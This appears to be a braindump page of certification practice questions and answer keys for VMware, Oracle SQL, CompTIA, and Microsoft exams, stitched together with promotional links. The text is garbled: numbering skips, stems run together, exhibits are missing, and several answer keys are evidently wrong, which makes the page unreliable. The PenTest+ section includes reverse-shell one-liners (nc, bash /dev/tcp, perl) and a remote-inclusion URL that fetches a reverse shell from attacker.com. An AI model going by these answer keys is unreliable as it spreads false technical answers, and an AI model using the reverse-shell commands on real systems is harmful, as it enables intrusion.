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Latest updates VMware 1v0-701 exam practice questions
QUESTION 1 Which server sits in the DMZ and allows external devices to connect to the Horizon Mirage service? A. Mirage Server B. Mirage Branch Reflector C. Mirage Management Server D. Mirage Gateway Server Correct Answer: D Reference: https://blogs.vmware.com/consulting/tag/horizon-mirage
QUESTION 2 Which vSphere component is used to manage multiple hosts in a cluster? A. ESXI B. vDS C. vCenter Server D. VUM Correct Answer: C
QUESTION 4 Which feature in VMware vSphere ensures zero downtime and prevents data loss when a physical server fails? A. vSphere Data Protection B. High Availability C. Fault Tolerance D. vSphere Replication Correct Answer: C In the event of server failures, VMware vSphere Fault Tolerance (vSphere FT) provides continuous availability for applications with as many as four virtual CPUs. It does so by creating a live shadow instance of a VM that is always up to date with the primary VM. In the event of a hardware outage, vSphere FT automatically triggers failover, ensuring zero downtime and preventing data loss. Like vSphere HA, it protects against hardware failure but completely eliminates downtime with instantaneous cutover and recovery. After failover, vSphere FT automatically creates a new, secondary VM to deliver continuous protection for the application Reference: https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/techpaper/vmware-vcenter-server-6-0-availability-guide-white-paper.pdf
QUESTION 6 A company wants to implement a software-defined network solution with minimal impact on the existing environment. What additional hardware, if any, is required when implementing VMware NSX? A. A stateful inspection Firewall to take advantage of NSX\\’s built-in Firewall protection B. None. NSX is a completely non-disruptive solution. C. Special VLAN configurations for accessing NSX. D. At least two Layer 3 switches that must be converted to trunk mode. Correct Answer: B NSX is a completely non-disruptive solution which can be deployed on any IP network from any vendor ? both existing traditional networking models and next-generation fabric architectures. The physical network infrastructure already in place is all that is required to deploy a software-defined data center with NSX. Reference: https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/products/nsx/vmw-nsx-networkvirtualization-design-guide.pdf
QUESTION 7 A large bank wants to automate their infrastructure provisioning. They need a portal that provides the ability to check the health of a virtual machine and perform day-two actions, such as power-on and power-off. Which product in the vRealize Suite offers this functionality? A. vRealize Orchestrator B. vRealize Operations Manager C. vRealize Automation D. vRealize Business Correct Answer: C
QUESTION 8 Which component in VMware NSX provides L2 bridging from the logical networking space VXLAN to the physical space? A. NSX virtual switch B. Logical Router control VM C. Logical router D. NSX Edge virtual appliance Correct Answer: C The logical routers can provide L2 bridging from the logical networking space (VXLAN) to the physical network (VLAN). Reference: https://docs.vmware.com/en/VMware-NSX-for-vSphere/6.3/nsx_63_admin.pdf
QUESTION 9 Which two statements are true for vRealize Business for Cloud? (Choose two.) A. It provides costing for non-vSphere workload by directly integrating with them. B. It provides public cloud costing, consumption analysis, and pricing. C. It collects performance data through the agents that are deployed in the cloud workloads. D. It provides costing for native services hosted on AWS and Azure cloud. E. It provides Automatic private cloud metering, costing, and pricing. Correct Answer: BE Reference: https://www.vmware.com/products/vrealize-business-for-cloud.html
QUESTION 10 A supervisor wants employees to seamlessly log into remote applications without having to enter their credentials multiple times. What is required to support true Single Sign-On (SSO)? A. Horizon 7 and Windows Server 2016 B. Horizon 7 and any Linux Operating System C. Only Horizon 7 is required D. Horizon 7 and Identity Manager Correct Answer: D Reference: https://docs.vmware.com/en/VMware-Horizon-7/7.3/horizon-architecture-planning/GUIDE8152572-1B10-42C2-B605-1EF738AC2D20.html
QUESTION 11 Which two statements about VMware Cross-Cloud Architecture are true? (Choose two.) A. Deployment of services across clouds is manual. B. Works only on certain underlying clouds or hypervisors. C. Provides the ability to run, manage, connect, and secure applications across clouds. D. Provides cloud freedom, but not control. E. Provides the freedom to innovate across both private clouds and public clouds. Correct Answer: CE
QUESTION 12 VMware offers vRealize Suite in editions that provide different functionality at different points, making it easy to license VMware vRealize Suite to meet a customer\\’s specific requirements and use cases. Which three are vRealize Suite editions? (Choose three.) A. Enterprise Plus B. Foundations C. Advanced D. Enterprise E. Professional F. Standard Correct Answer: CDF Reference: https://www.vmware.com/products/vrealize-suite.html
QUESTION 13 What are the three vRealize Suite editions offered by VMware? A. Standard, Advanced, Enterprise B. Standard, Enterprise, Enterprise Plus C. Foundation, Standard, Enterprise D. Advanced, Enterprise, Enterprise Plus Correct Answer: A VMware vRealize Suite cloud management platform is available in three editions: Standard, Advanced, and Enterprise. New portable licensing allows customers to manage multi-vendor private and public clouds with common licensing. Reference: https://www.vmware.com/products/vrealize-suite.html
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Latest updates Oracle 1z0-071 exam practice questions
QUESTION 1 Examine the description of the BOOKS_TRANSACTIONS table:
Examine this partial SQL statement: SELECT * FROM books_transactions Which two WHERE conditions give the same result? A. WHERE borrowed_date = SYSDATE AND (transaction_type = `RM\\’ OR member_id IN (`A101\\’, `A102\\’)); B. WHERE (borrowed_date = SYSDATE AND transaction_type = `RM\\’) OR member_id IN (`A101\\’, `A102\\’); C. WHERE borrowed_date = SYSDATE AND (transaction_type = `RM\\’ AND (member_id = A101\\’ OR member_id = `A102\\’)); D. WHERE borrowed_date = SYSDATE AND transaction_type = `RM\\’ OR member_id IN (`A101\\’, `A102\\’); E. WHERE borrowed_date = SYSDATE AND (transaction_type = `RM\\’ AND member_id = `A101\\’ OR member_id = `A102\\’); Correct Answer: BC
QUESTION 2 Which three statements are true regarding subqueries? (Choose three.) A. The ORDER BY Clause can be used in a subquery. B. A subquery can be used in the FROM clause of a SELECT statement. C. If a subquery returns NULL, the main query may still return rows. D. A subquery can be placed in a WHERE clause, a GROUP BY clause, or a HAVING clause. E. Logical operators, such as AND, OR, and NOT, cannot be used in the WHERE clause of a subquery. Correct Answer: ABC
QUESTION 3 Which three statements are true reading subqueries? (Choose three.) A. A-Main query can have many subqueries. B. A subquery can have more than one main query. C. The subquery and the main query must retrieve the date from the same table. D. The subquery and main query can retrieve data from different tables. E. Only one column or expression can be compared between the subquery and main query. F. Multiple columns or expressions can be compared between the subquery and main query. Correct Answer: ADF
QUESTION 4 A non-correlated subquery can be defined as __________. (Choose the best answer.) A. A set of one or more sequential queries in which generally the result of the inner query is used as the search value in the outer query. B. A set of sequential queries, all of which must return values from the same table. C. A set of sequential queries, all of which must always return a single value. D. A SELECT statement that can be embedded in a clause of another SELECT statement only. Correct Answer: A
QUESTION 5 Which two statements are true regarding the execution of the correlated subqueries? (Choose two.) A. The nested query executes after the outer query returns the row. B. The nested query executes first and then the outer query executes. C. The outer query executes only once for the result returned by the inner query. D. Each row returned by the outer query is evaluated for the results returned by the inner query. Correct Answer: AD
QUESTION 6 You issue the following command to drop the PRODUCTS table: SQL > DROP TABLE products; Which three statements are true about the implication of this command? (Choose three.) A. All data along with the table structure is deleted. B. A pending transaction in the session is committed. C. All indexes on the table remain but they are invalidated. D. All views and synonyms on the table remain but they are invalidated. E. All data in the table is deleted but the table structure remains. Correct Answer: ABD
QUESTION 7 Examine the structure of the two tables.
Which two queries execute successfully? (Choose two.)
A. Option A B. Option B C. Option C D. Option D E. Option E Correct Answer: CD
QUESTION 8 Which two statements are true about a full outer join? A. It includes rows that are returned by an inner join. B. It returns only unmatched rows from both tables being joined. C. It includes rows that are returned by a Cartesian product. D. It returns matched and unmatched rows from both tables being joined. E. The Oracle joins operator (+) must be used on both sides of the join condition in the WHERE clause. Correct Answer: AD Reference: https://www.w3resource.com/oracle/joins/oracle-full-outer-join.php
QUESTION 9 The SQL statements executed in a user session are as follows:
Which two statements describe the consequences of issuing the ROLLBACK TO SAVEPOINT a command in the session? (Choose two.) A. The rollback generates an error. B. No SQL statements are rolled back. C. Only the DELETE statements are rolled back. D. Only the second DELETE statement is rolled back. E. Both the DELETE statements and the UPDATE statement are rolled back. Correct Answer: AB
QUESTION 10 Examine the structure of the SHIPMENTS table:
Which statement is true regarding the above commands? A. Both execute successfully and give correct results. B. Only the first query executes successfully but gives the wrong result. C. Only the first query executes successfully and gives the correct result. D. Only the second query executes successfully but gives the wrong result. E. Only the second query executes successfully and gives the correct result. Correct Answer: C
QUESTION 11 Examine the description of the PRODUCT_INFORMATION table:
Which query retrieves the number of products with a full list price? A. SELECT COUNT (DISTINCT list_price) FROM product_information WHERE list_price IS NULL; B. SELECT COUNT (list_price) FROM product_information WHERE list_price IS NULL; C. SELECT COUNT (list_price) FROM product_information WHERE list_price = NULL; D. SELECT COUNT(NVL(list_price, 0)) FROM product_information WHERE list_price IS NULL; Correct Answer: D Reference: https://www.oracletutorial.com/oracle-aggregate-functions/oracle-avg/
QUESTION 12 Which statement is true about Enterprise Manager (EM) express in Oracle Database 12c? A. By default, EM express is available for a database after database creation. B. You can use EM express to manage multiple databases running on the same server. C. You can perform basic administrative tasks for pluggable databases by using the EM express interface. D. You cannot start-up or shut down a database Instance by using EM express. E. You can create and configure pluggable databases by using EM express. Correct Answer: A
QUESTION 13 Which two statements best describe the benefits of using the WITH clause? (Choose two.) A. It can improve the performance of a large query by storing the result of a query block having the WITH clause in the session\\’s temporary tablespace. B. It enables sessions to reuse the same query block in a SELECT statement if it occurs more than once in a complex query. C. It enables sessions to store a query block permanently in memory and use it to create complex queries. D. It enables sessions to store the results of a query permanently. Correct Answer: AB
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CompTIA Network+ N10-007 has been updated and reorganized to address the current networking technologies with expanded coverage of several domains by adding:
Critical security concepts to helping networking professionals work with security practitioners
Key cloud computing best practices and typical service models
Coverage of newer hardware and virtualization techniques
Concepts to give individuals the combination of skills to keep the network resilient
Latest Updates CompTIA n10-007 Exam Practice Questions and Answers
QUESTION 1
169.254.0.100 is an IP address that would MOST likely come from which of the following? A. CIDR B. DHCP C. APIPA D. DNS
Correct Answer: C
QUESTION 2
Which of the following technologies is required to allow all ports of a single private IP to be publically accessible via a single public IP? A. NAT B. RIP C. PAT D. ACL
Correct Answer: C
QUESTION 3
A network engineer wants to segment the network into multiple broadcast domains. Which of the following devices would allow for communication between the segments? A. Layer 2 switch B. Layer 3 switch C. Bridge D. Load balancer
Correct Answer: B
QUESTION 4
A bookstore uses a Faraday cage to comply with credit card regulations. Customers report that their cellular phones have no signal when they are in the bookstore. Which of the following is the MOST likely cause? A. The Faraday cage is creating interference within the bookstore. B. The Faraday cage prevents access by redirecting signals. C. The Faraday cage is creating latency on the cellular network. D. The Faraday cage is creating attenuation of the cellular network.
Correct Answer: B
QUESTION 5
Jeff, a user, is having a problem with a POTS line. Which of the following tools would Jeff use to make sure the phone lines have a dial tone? A. Loopback plugs B. Butt set C. Cable certifier D. Toner probe
Correct Answer: B
QUESTION 6
Which of the following WAP security features offers the STRONGEST encryption? A. WPA B. WPA2 C. WEP D. Hidden SSID
Correct Answer: B
QUESTION 7
A Windows server has a problem after booting up. Kim, a technician, should immediately check the: A. history logs. B. cron logs. C. application logs. D. system logs.
Correct Answer: D
QUESTION 8
A user reports difficulties connecting a PC to a wired network. The PC connects to an IP phone, which is working correctly. A network technician can verify that other devices successfully connect to the phone. At which of the following layers of the OSI model is the problem MOST likely located? A. Network B. Physical C. Transport D. Application
Correct Answer: A
QUESTION 9
Matt, an administrator, notices a flood fragmented packet and retransmits from an email server. After disabling the TCP offload setting on the NIC, Matt sees normal traffic with packets flowing in sequence again. Which of the following utilities was he MOST likely using to view this issue? A. Spam filter B. Protocol analyzer C. Web application firewall D. Load balancer
Correct Answer: B
QUESTION 10
An employee wishes to use a personal cell phone for work-related purposes, including storage of sensitive company data, during long business trips. Which of the following is needed to protect BOTH the employee and the company? A. An NDA ensuring work data stored on the personal phone remains confidential B. An AUP covering how a personal phone may be used for work matters C. Consent to monitoring policy covering company audits of the personal phone D. Real-time remote monitoring of the phone\’s activity and usage
Correct Answer: D
QUESTION 11
A DSL modem connects to the provider\’s network using which of the following authentication techniques? A. PoE B. MS-CHAP C. PPPoE D. EAP
Correct Answer: C
QUESTION 12
Which of the following devices, if implemented, would result in decreased administration time of an 802.11 network running centralized authentication services? (Choose two.) A. VPN concentrator B. Proxy server C. Wireless controller D. RADIUS server E. Multilayer switch
Correct Answer: CD
QUESTION 13
Kim, the client, has requested a cost-effective network solution to accommodate the ability to reconfigure the office space as needed. Which networking solution would provide the BEST solution? A. Private IP Addressing B. Wireless Access Points C. Wide Area Networking D. Virtual Local Area Networks
Correct Answer: B
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CompTIA A+ 220-1001 covers mobile devices, networking technology, hardware, virtualization, and cloud computing and network troubleshooting.
CompTIA A+ 220-1002 covers installing and configuring operating systems, expanded security, software troubleshooting and operational procedures.
Latest Updates CompTIA 220-1002 Exam Practice Questions and Answers
QUESTION 1
A user has installed a legacy application in Windows 7 and reports that only some of the functionality in it is operational. Another user is using the same application on a different Windows 7 machine and doesn\’t report those problems. Which of the following features in Windows 7 may be responsible for this problem? A. System Protection settings B. User Account Control C. Action Center D. Data Execution Prevention
A user Is unable to access a network share out can access email. A technician has confirmed the user has the appropriate permissions to access the share. Which of the following commands should the technician use FIRST? A. ping B. nslooking C. net use D. ipconfig
Correct Answer: B
QUESTION 3
An administrator sets up a wireless device that they will need to manage across the Internet. Which of the following security measures would BEST prevent unauthorized access to the device from the Internet? A. Set the channels to wireless 802.11n only B. Change the default username and password C. Enable the wireless AP\’s MAC filtering D. Enable the wireless AP\’s WPA2 security
Correct Answer: B
QUESTION 4
A user who is running Windows XP calls a technician to upgrade the computer to a newer Windows OS. The user states the computer has only 1GB of RAM and 16GB of hard drive space with a 1,7GHz processor. Which of the following OSs should the technician recommended to ensure the BEST performance on this computer? A. Windows 7 B. Windows 8 C. Windows 8.1 D. Windows 10
Correct Answer: A
QUESTION 5
A Linux user report that an application will not open and gives the error only one instance of the application may run at one time. A root administrator logs on ot the device and opens terminal. Which of the following pairs of tools will be needed to ensure no other instance of the software are correctly running? A. Pad and chmod B. Node and vi C. Is an chown D. Ps and kill E. Op and rm
Correct Answer: D
QUESTION 6
A technician is trying to remove a resilient computer virus. The virus keeps coming back after rebooting the system because some program or service has locked some of the virus\’ files and is preventing the AV from cleaning the system. Which of the following is the BEST approach to try and remove the virus while minimizing negative impact to the system? A. Use REGSRV32 to deregister the virus DLLs. B. Run the antivirus after rebooting in safe mode. C. Use the repair disk and follow the prompts. D. Use the recovery console to disable all windows services.
Correct Answer: B
QUESTION 7
A technician has replaced several corporate human resources computers and is asked to ensure the information on the drives cannot be retrieved. Which of the following destruction methods would BEST ensure this data is irretrievable? A. Overwriting B. Formatting C. Shredding D. Drive wiping
Correct Answer: D
QUESTION 8
Which of the following would a technician use to store memory chips from a laptop safely after an upgrade? A. Mylar bags B. Cardboard boxes C. Antistatic containers D. Paper envelopes
Correct Answer: C
QUESTION 9
A user\’s corporate email is missing the shared inbox folders that were present before the user went on vacation. The technician verifies the user is connected to the domain and can still send and receive email. Which of the following is MOST likely causing the missing folders issue? A. The Internet security options have changed B. The operating system updates have changed C. The network directory permissions have changed D. The user account permissions have changed
Correct Answer: C
QUESTION 10
A technician receives an end user\’s computer that displays erratic behavior upon startup. When the technician starts the computer performance is reduced. A window appears on the screen stating a purchase must be made to disinfect the computer. The technician quarantines the computer and disables System Restore. Which of the following should the technician do NEXT? A. Roll back the NIC driver B. Update and install anti-malware software C. Configure and enable the email spam filters D. Verify the security certificate is valid E. Perform a full system backup
Correct Answer: D
QUESTION 11
A technician logs on to a Linux computer and runs the following command: ps -aux | grep vi Which of the following MOST accurately describes the effect of the command? A. It kills any running programs starting with the letters vi. B. It opens a list of directories that start with the letters vi. C. It creates a new file named grep in the current working directory. D. If finds a list of processes running a text editor.
Correct Answer: D
QUESTION 12
A company recently had a security breach and is now required to increase the security on their workstations. A technician has been tasked to harden all the workstations on the network. Which of the following should the technician do? A. Enable Windows automatic updates B. Enable screensaver required passwords C. Enable MAC filtering D. Enable wireless encryption
A technician is cleaning up a warehouse and has several old CRT monitors and UPS units. The technician removes the batteries from the UPSs and wants to comply with proper disposal techniques. Which of the following should the technician do NEXT to proceed with disposal of the batteries? A. Place securely in trash receptacles. B. Refer to the manufacturer\’s specific usage. C. Review the material safety data sheet. D. Conduct an Internet search of disposal techniques.
Correct Answer: C
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If you passed Exam 70-698 before it expired on March 31, 2019, you only need to take MD-101 to earn the Modern Desktop certification. Candidates for this exam are Administrators who deploy, configure, secure, manage, and monitor devices and client applications in an enterprise environment. Candidates manage identity, access, policies, updates, and apps.
As an Administrator, candidates typically collaborate with the Microsoft 365 Enterprise Administrator to design and implement a device strategy that meets the business needs of a modern organization.
Candidates must be familiar with Microsoft 365 workloads and must be proficient and experienced in deploying, configuring, and maintaining Windows 10 and non-Windows devices and technologies.
Skills measured
Deploy Windows (15-20%)
Manage devices and data (35-40%)
Configure connectivity (15-20%)
Maintain Windows (25-30%)
Latest updates Microsoft MD-100 exam practice questions
QUESTION 1 Note: This question is part of a series of questions that present the same scenario. Each question in the series contains a unique solution that might meet the stated goals. Some question sets might have more than one correct solution, while others might not have a correct solution. After you answer a question in this section, you will NOT be able to return to it. As a result, these questions will not appear in the review screen. You have a computer named Computer1 that runs Windows 10. You test Windows updates on Computer1 before you make the updates available to other users at your company. You install a quality update that conflicts with a customer device driver. You need to remove the update from Computer1. Solution: From an elevated command prompt, you run the wusa.exe command and specify the /uninstall parameter. Does this meet the goal? A. Yes B. No Correct Answer: A References: https://support.microsoft.com/en-us/help/934307/description-of-the-windows-update-standalone-installer-in-windows
QUESTION 2 You need to recommend a solution to monitor update deployments. What should you include in the recommendation? A. Windows Server Update (WSUS) B. the Update Management solution in Azure Automation C. the Update Compliance solution in Azure Log Analytics D. the Azure Security Center Correct Answer: C References: https://docs.microsoft.com/en-us/windows/deployment/update/update-compliance-monitor
QUESTION 3 Your company purchases 20 laptops that use a new hardware platform. In a test environment, you deploy Windows 10 to the new laptops. Some laptops frequently generate stop errors. You need to identify the cause of the issue. What should you use? A. Reliability Monitor B. Task Manager C. System Configuration D. Performance Monitor Correct Answer: A References: https://lifehacker.com/how-to-troubleshoot-windows-10-with-reliability-monitor-1745624446
QUESTION 5 You need to meet the technical requirement for User6. What should you do? A. Add User6 to the Remote Desktop Users group in the domain. B. Remove User6 from Group2 in the domain. C. Add User6 to the Remote Desktop Users group on Computer2. D. And User6 to the Administrators group on Computer2. Correct Answer: B
QUESTION 6 You have a computer named Computer1 that runs Windows 10. You need to configure User Account Control (UAC) to prompt administrators for their credentials. Which settings should you modify? A. Administrators Properties in Local Users and Groups B. User Account Control Settings in Control Panel C. Security Options in Local Group Policy Editor D. User Rights Assignment in Local Group Policy Editor Correct Answer: C References: https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings
QUESTION 7 You have 100 computers that run Windows 10. You have no servers. All the computers are joined to Microsoft Azure Active Directory (Azure AD). The computers have different update settings, and some computers are configured for manual updates. You need to configure Windows Update. The solution must meet the following requirements: The configuration must be managed from a central location. Internet traffic must be minimized. Costs must be minimized. How should you configure Windows Update? To answer, select the appropriate options in the answer area. NOTE: Each correct selection is worth one point. Hot Area:
Correct Answer:
QUESTION 8 You need to ensure that User10 can activate Computer10. What should you do? A. Request that a Windows 10 Enterprise license be assigned to User10, and then activate Computer10. B. From the Microsoft Deployment Toolkit (MDT), add a Volume License Key to a task sequence, and then redeploy Computer10. C. From System Properties on Computer10, enter a Volume License Key, and then activate Computer10. D. Request that User10 perform a local AutoPilot Reset on Computer10, and then activate Computer10. Correct Answer: D References: https://docs.microsoft.com/en-us/windows/deployment/windows-autopilot/windows-autopilot-requirements-licensing
QUESTION 9 You have a computer named Computer1 that runs Windows 10 and has an application named App1. You need to use Performance Monitor to collect data about the processor utilization of App1. Which performance object should you monitor? A. Process B. Processor Performance C. Processor Information D. Processor Correct Answer: A References: https://www.cse.wustl.edu/~jain/cse567-06/ftp/os_monitors/index.html
QUESTION 10 Your company has an isolated network used for testing. The network contains 20 computers that run Windows 10. The computers are in a workgroup. During testing, the computers must remain in the workgroup. You discover that none of the computers are activated. You need to recommend a solution to activate the computers without connecting the network to the Internet. What should you include in the recommendation? A. Volume Activation Management Tool (VAMT) B. Key Management Service (KMS) C. Active Directory-based activation D. the Get-WindowsDeveloperLicense cmdlet Correct Answer: B References: https://docs.microsoft.com/en-us/windows/deployment/volume-activation/activate-using-key-management-service-vamt
QUESTION 11 You need to meet the technical requirements for EFS on ComputerA. What should you do? A. Run certutil.exe, and then add a certificate to the local computer certificate store. B. Run cipher.exe, and then add a certificate to the local computer certificate store. C. Run cipher.exe, and then add a certificate to the local Group Policy. D. Run certutil.exe, and then add a certificate to the local Group Policy. Correct Answer: B References: https://docs.microsoft.com/en-us/windows/security/information-protection/windows-information-protection/create-and-verify-an-efs-dra-certificate Question Set 3
QUESTION 12 You need to sign in as LocalAdmin on Computer11. What should you do first? A. From the LAPS UI tool, view the administrator account password for the computer object of Computer11. B. From Local Security Policy, edit the policy password settings on Computer11. C. From the LAPS UI tool, reset the administrator account password for the computer object of Computer11. D. From Microsoft Intune, edit the policy password settings on Computer11. Correct Answer: A References: https://technet.microsoft.com/en-us/mt227395.aspx
QUESTION 13 You need to meet the technical requirements for the helpdesk users. What should you do? To answer, select the appropriate options in the answer area. NOTE: Each correct selection is worth one point. Hot Area:
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“CompTIA PenTest+ PT0-001 Study Guide” Exam PT0-001. Here you can get the latest free CompTIA PT0-001 exam exercise questions and answers for free and easily improve your skills!
PT0-001 exam: The CompTIA PenTest+ certification verifies that successful candidates have the knowledge and skills required to plan and scope an assessment, understand legal and compliance requirements, perform vulnerability scanning and penetration testing, analyze data, and effectively report and communicate results. Follow the link to find more information about https://www.lead4pass.com/pt0-001.html exam.
CompTIA PenTest+ assesses the most up-to-date penetration testing, and vulnerability assessment and management skills necessary to determine the resiliency of the network against attacks. Successful candidates will have the intermediate skills required to customize assessment frameworks to effectively collaborate on and report findings. Candidates will also have the best practices to communicate recommended strategies to improve the overall state of IT security.
Free CompTIA PT0-001 Exam Practice Questions
QUESTION 1 A security consultant receives a document outlining the scope of an upcoming penetration test. This document contains IP addresses and times that each can be scanned. Which of the following would contain this information? A. Rules of engagement B. Request for proposal C. Master service agreement D. Business impact analysis Correct Answer: A
QUESTION 2 An attacker uses SET to make a copy of a company\\’s cloud-hosted web mail portal and sends an email m to obtain the CEO s login credentials Which of the following types of attacks is this an example of? A. Elicitation attack B. Impersonation attack C. Spear phishing attack D. Drive-by download attack Correct Answer: C
QUESTION 3 An energy company contracted a security firm to perform a penetration test of a power plant, which employs ICS to manage power generation and cooling. Which of the following is a consideration unique to such an environment that must be made by the firm when preparing for the assessment? A. Selection of the appropriate set of security testing tools B. Current and load ratings of the ICS components C. Potential operational and safety hazards D. Electrical certification of hardware used in the test Correct Answer: A
QUESTION 4 A penetration tester compromises a system that has unrestricted network over port 443 to any host. The penetration tester wants to create a reverse shell from the victim back to the attacker. Which of the following methods would the penetration tester mostly like use? A. perl -e ` use SOCKET\\’; $i=\\’; $p=\\’443; B. ssh [email protected] -p 443 C. nc -e /bin/sh 443 D. bash -i >and /dev/tcp// 443 0>and1 Correct Answer: A References: https://hackernoon.com/reverse-shell-cf154dfee6bd
QUESTION 5 A security consultant found a SCADA device in one of the VLANs in scope. Which of the following actions would BEST create a potentially destructive outcome against device? A. Launch an SNMP password brute force attack against the device. B. Lunch a Nessus vulnerability scan against the device. C. Launch a DNS cache poisoning attack against the device. D. Launch an SMB exploit against the device. Correct Answer: A
QUESTION 6 While monitoring WAF logs, a security analyst discovers a successful attack against the following URL: https://example.com/index.php?Phone=http://attacker.com/badstuffhappens/revshell.php Which of the following remediation steps should be taken to prevent this type of attack? A. Implement a blacklist. B. Block URL redirections. C. Double URL encode the parameters. D. Stop external calls from the application. Correct Answer: B
QUESTION 7 A company requested a penetration tester review the security of an in-house-developed Android application. The penetration tester received an APK file to support the assessment. The penetration tester wants to run SAST on the APK file. Which of the following preparatory steps must the penetration tester do FIRST? (Select TWO) A. Convert to JAR B. Decompile C. Cross-compile the application D. Convert JAR files to DEX E. Re-sign the APK F. Attach to ADB Correct Answer: BD
QUESTION 8 In which of the following components is an exploited vulnerability MOST likely to affect multiple running application containers at once? A. Common libraries B. Configuration files C. Sandbox escape D. ASLR bypass Correct Answer: A
QUESTION 9 Joe, a penetration tester, is asked to assess a company\\’s physical security by gaining access to its corporate office. Joe ism looking for a method that will enable him to enter the building during business hours or when there are no employee on-site. Which of the following would be MOST effective in accomplishing this? A. Badge cloning B. Lock picking C. Tailgating D. Piggybacking Correct Answer: A http://www.hackingarticles.in/netbios-and-smb-penetration-testing-on-windows/
QUESTION 10 A penetration tester has a full shell to a domain controller and wants to discover any user account that has not authenticated to the domain in 21 days. Which of the following commands would BEST accomplish this? A. dsrm -users “DN=compony.com; OU=hq CN=usera” B. dsuser -name -account -limit 3 C. dsquery uaer -inactive 3 D. dsquery -o -rein -limit 21 Correct Answer: C
QUESTION 11 After several attempts, an attacker was able to gain unauthorized access through a biometric sensor using the attacker\\’s actual fingerprint without exploitation. Which of the following is the MOST likely of what happened? A. The biometric device is tuned more toward false positives B. The biometric device is configured more toward true negatives C. The biometric device is set to fail closed D. The biometnc device duplicated a valid user\\’s fingerpnnt. Correct Answer: A
QUESTION 12 During testing, a critical vulnerability is discovered on a client\\’s core server. Which of the following should be the NEXT action? A. Disable the network port of the affected service. B. Complete all findings, and then submit them to the client. C. Promptly alert the client with details of the finding. D. Take the target offline so it cannot be exploited by an attacker. Correct Answer: A
QUESTION 13 A penetration tester observes that several high numbered ports are listening on a public web server. However, the system owner says the application only uses port 443. Which of the following would be BEST to recommend? A. Transition the application to another port B. Filter port 443 to specific IP addresses C. Implement a web application firewall D. Disable unneeded services. Correct Answer: D
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How can I pass the Microsoft MS-201 exam with authentic and up-to-date dumps? Examkraft shares the latest and effective Microsoft MS-201 exam questions and answers, online practice tests, and the most authoritative Microsoft exam experts update MS-201 exam questions throughout the year. Get the full MS-201 exam dumps selection: https://www.lead4pass.com/ms-201.html (101 Q&As). Pass the exam with ease!
Candidates for this exam are Messaging Administrators who deploy, configure, manage, troubleshoot, and monitor recipients, permissions, mail protection, mail flow, and public folders in both on-premises and cloud enterprise environments.
Messaging Administrators are responsible for managing hygiene, messaging infrastructure, hybrid configuration, migration, disaster recovery, high availability, and client access.
Messaging Administrators collaborate with the Security Administrator and Microsoft 365 Enterprise Administrator to implement a secure hybrid topology that meets the business needs of a modern organization.
The Messaging Administrator should have a working knowledge of authentication types, licensing, and integration with Microsoft 365 applications.
Skills measured
Plan and implement a hybrid configuration and migration (35-40%)
Secure the messaging environment (40-45%)
Manage organizational settings (15-20%)
Latest updates Microsoft MS-201 exam practice questions
QUESTION 1 DRAG DROP Your company named Contoso, Ltd. has a Microsoft Exchange Server 2019 hybrid deployment. A partner company named Fabrikam, Inc. uses an Exchange Online subscription for email. You need to ensure that all the users at Fabrikam can view the free/busy information of the users at Contoso. What should you configure? To answer, drag the appropriate components to the correct companies. Each component may be used once, more than once, or not at all. You may need to drag the split bar between panes or scroll to view content. NOTE: Each correct selection is worth one point. Select and Place:
QUESTION 2 Case Study : Litware,Inc. Case Study Overview Litware, Inc. is food service supplier in Europe. PhysicalLocations Litware has a main office in Paris and branch offices in Munich, London, Brussels, Vienna, and Rome. Each branch office has its own compliance officer. ExistingEnvironment The network contains one Active Directory forest named litware.com. The forest contains a single Active Directory domain. Each office is configured as an Active Directory site. Each branch office is represented organizational unit (OU) in an OU named Offices in Active Directory. Each branch office has a special Administrators group that contains the delegated administrators for that office. Each Administrators group is named based on its location in a format of RegionalAdmins_Brussels, RegionalAdmins_Munich, RegionalAdmins_London, RegionalAdmins_Vienna and RegionalAdmins_Rome. NetworkInfrastructure Each office contains two domain controllers from the litware.com domain. All the domain controllers are configured as DNS servers. All client computers connect only to the DNS servers in their respective office. All offices have a high-speed connection to the Internet. Each office connects to the Internet by using a VPN appliance. Each office has the following servers and client computers: One reverse proxy appliance One Microsoft Exchange Server 2019 server One Windows Server Update Services (WSUS) server Computers that run Windows 10 and have Microsoft Office 2019 installed. The office in Brussels contains an Exchange Server 2016 server that has the Unified Messaging role installed and hosted voicemail configured. Mailboxes are hosted on all the Exchange servers. Public folders are hosted only on an Exchange server in the main office. Litware uses a disjoint namespace to access the servers. Each user has an archive mailbox. Archiving is configured to use the default settings. Exchange services are published to the internet by using a reverse proxy in each office. A full backup of Exchange is performed nightly. Incremental backups occur every six hours. All the users in the transport department connect to network resources by using a connection in the main office. Requirements Planned Changes Litware plans to implement the following changes: Implement calendar sharing to partner companies. Implement a solution that prevents malware from being delivered to end users. Use personal archives to eliminate the need for PST files. Ensure the Brussels office and move all the users in the Brussels office to the main office. All the mailboxes in the Brussels office will be moved to a server in the main office. Implement a compliance solution to ensure that items deleted from public folders are retained. If an item in a public folder is modified, the original version of the item must be available. TechnicalRequirements Litware identifies the following technical requirements: Minimize administrative effort. Use the principle of least privilege. Ensure that junk email is deleted automatically after 14 days. Ensure that sent items and deleted items are deleted automatically after 30 days. Ensure that users in the customer service department can open multiple mailboxes. Ensure that all the former Brussels office users always maintain access to hosted voicemail. Ensure that the staff in the IT department can manage the email environment without and-user involvement. Ensure that users cannot recover email messages that are deleted from the Junk Email folder and the Deleted Items. Ensure that if an email message has a spam confidence level (SCL) of 3 or higher, the message automatically moves to the Junk Email folder. Problemstatements The transport department users report that accessing a public folder named TransportPF is sometimes very slow. Users in the customer service department report that Microsoft Outlook sometimes hangs when many mailboxes are open. You need to resolve the issue for the transport department users. What is the best way to achieve the goal? More than one answer choice may achieve the goal. Select the BEST answer. A. Move the public folder mailbox that contains TransportPF to a server in the main office. B. Move TransportPF to a public folder mailbox hosted in the main office. C. Modify the default public folder mailbox for all the transport department users. D. Instruct the transport department users to add TransportPF to their Favorites list in Outlook. Correct Answer: B References: https://docs.microsoft.com/en-us/exchange/recipients/mailbox-moves?view=exchserver-2019
